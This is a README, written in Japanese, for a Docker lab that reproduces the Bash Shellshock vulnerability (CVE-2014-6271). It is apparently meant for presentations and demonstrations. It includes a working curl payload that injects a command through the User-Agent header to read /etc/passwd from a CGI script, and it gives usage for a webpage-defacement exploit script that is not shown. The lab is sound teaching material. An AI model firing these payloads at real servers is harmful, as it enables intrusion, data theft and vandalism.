
CVE(ShellShock)のプレゼンテーションプロジェクト。PDF、技術デモ、再現可能な手順を含む。
このプロジェクトは、CVE-2014-6271(別名 Shellshock)の脆弱性を再現するためのものです。ShellshockはBashのセキュリティ脆弱性であり、環境変数を介して悪意のあるコードを実行することを可能にします。
このプロジェクトの目的は、Docker環境におけるこの脆弱性の影響を実証することです。
始める前に、Dockerがマシンにインストールされていることを確認してください。Dockerはこちらからダウンロードできます。
プロジェクトディレクトリで、以下のコマンドを実行してDockerイメージを構築します:
docker build -t ['image name'] .
['image name'] をDockerイメージに付けたい名前に置き換えてください。
イメージが構築されたら、以下のコマンドでこのイメージからコンテナを起動します:
docker run -it --rm -p 8080:80 ['image name']
これにより、サービスのローカルマシンのポート8080が公開されます。
ブラウザを開き、http://localhost:8080にアクセスします。アプリケーションの動作を確認し、脆弱性をテストできます。
別のターミナルで、以下のコマンドを実行して脆弱性を悪用し、/etc/passwdファイルの内容を読み取ります:
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
このコマンドは、Shellshockを悪用するために特別に設計されたuser-agentヘッダーを送信します。脆弱性が正しく再現されると、/etc/passwdの内容がターミナル出力に表示されます。
このスクリプトは、ターゲットのWebページを改ざんするための脆弱性を悪用します。この脆弱性は、CGIスクリプトの不適切な設定に起因し、サーバー上で任意のコマンドを実行することを可能にします。
前提条件: ターゲットがShellShockバグに対して脆弱であることを確認してください。 このターゲットでエクスプロイトをテストするための必要な権限があることを確認してください。
./exp_deface.sh <ip> <port>
./exp_deface.sh localhost 8080
重要: この脆弱性は、管理された環境でのテストおよびデモンストレーション目的でのみ使用する必要があります。本番環境ではこのプロジェクトを使用しないでください。